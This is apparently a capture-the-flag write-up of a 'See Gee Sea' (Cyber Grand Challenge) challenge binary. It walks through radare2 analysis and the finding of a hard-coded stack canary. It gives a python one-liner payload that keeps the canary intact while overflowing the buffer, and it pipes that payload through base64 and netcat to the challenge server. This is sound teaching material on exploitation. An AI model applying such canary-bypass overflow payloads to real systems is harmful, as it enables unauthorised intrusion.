This looks like some custom format, and clang-cgc seems pretty obvious. It's also worth noting there wasn't much data out of this, it's a somewhat small amount for a binary.

Loading this binary in radare2 we can see it's information:

[0x080486b7]> if
type     EXEC (Executable file)
file     easy-prasky-with-buffalo-on-bing
fd       3
size     0x948
blksz    0x0
mode     -r--
block    0x100
format   cgc
pic      false
canary   false
nx       false
crypto   false
va       true
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped true
static   true
linenum  false
lsyms    false
relocs   false
rpath    NONE
binsz    2173


Noticing the format as cgc (also seen from the strings output) it's safe to assume this is probably a CGC binary. This is acting as a preview for the other challenges in the "See Gee Sea" category to be unlocked later in the game.

format   cgc


This was unfortunately, the first time I had looked at any of the CGC challenge details in any depth. (If you're new to the idea of Cyber Grand Challenge at all, check out - http://www.cybergrandchallenge.com/)

Remembering that the challenges run in a VM, I quickly searched for any available open-source material that may be out there. Quickly landed on this page - http://repo.cybergrandchallenge.com/boxes/

Which shows a listing of 3 major files:

  cgc-linux-dev.box 1097696df99f2f6edd85974c3d8d96afb13444c1c3905d6165badf0e50d07ad1
  vm.json d79a4d8e28975b24a518c2acb12195e048c0806ed7a08112f3d48eac0dac80e3
  Vagrantfile ff0f8b4a3996a137d2a6eb7088a632928068425b9c4502f6c754c3f079672d00



This is Great! A Vagrant file to get up and running in no time!

After running vagrant up && vagrant ssh, we were into the cgc environment, loaded with useful binaries and example files to play with.
As the challenge went on, I grew an appreciation for the amount of work that went into this infrastructure. It's a great idea with some solid engineering work poured into it.

Now that we have things setup, let's try executing that binary in this environment to see what happens...
$ ./easy-prasky-with-buffalo-on-bing
anything
canary ok$ 


So we have a little print out that mentions the canary is ok... So it has a stack cookie setup.
What happens if we give it a ton of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault


Well that was easy!

Also let's look at what happens when there's a moderate amount of input:

$ ./easy-prasky-with-buffalo-on-bing
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hacking detected, see ya$


Nice, so we now have Three states of output we can produce.


At this point we decided to pull apart the binary in radare2 finding the canary value which needs to be restored.


 


First noticed that the entry point of each CGC binary has the same structure. Three functions, where the second was the meat of operations performed.

As usual in r2, run aaa and iz to view any obvious strings in the binary:




Seeking to 0x0804880a we hit X in visual mode to see X-Refs & 0 to seek to the first match.


This lead us to the "main" function which called another function for the canary check and exits with "hacking detected" or "canary ok"




We can see ecx being loaded with this odd string found, and edx being loaded with the immediate 4. Also notice that the result of this function determines the type of exit.




Going to 0x080482e0 we see:


In the next graph we see a loop which checks if local_5 is greater than 4 (jge instruction at the top). Then we see on the false path of the jge check, a single byte being checked from the stack against the original canary value.




With this we decided to just try the first four characters of that string acting as the canary.
We ended up with a payload that looked like this:

$ python -c "print 'lddw'*6 + 'AAAA'*6" | ./easy-prasky-with-buffalo-on-bing
canary okSegmentation fault


So this gave us a nice mix of "canary ok" with "Segmentation fault" -- it worked!

Piping this to base64 (required by the remote server) and to netcat ended up dropping the flag!

$ python -c "print 'lddw'*6 + 'AAAA'*6" | base64 | nc easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me 10001


We definitely over-thought this one at first, but it turned out to be very simple.
Big shout-out to @unixist who was my partner-in-crime for this challenge.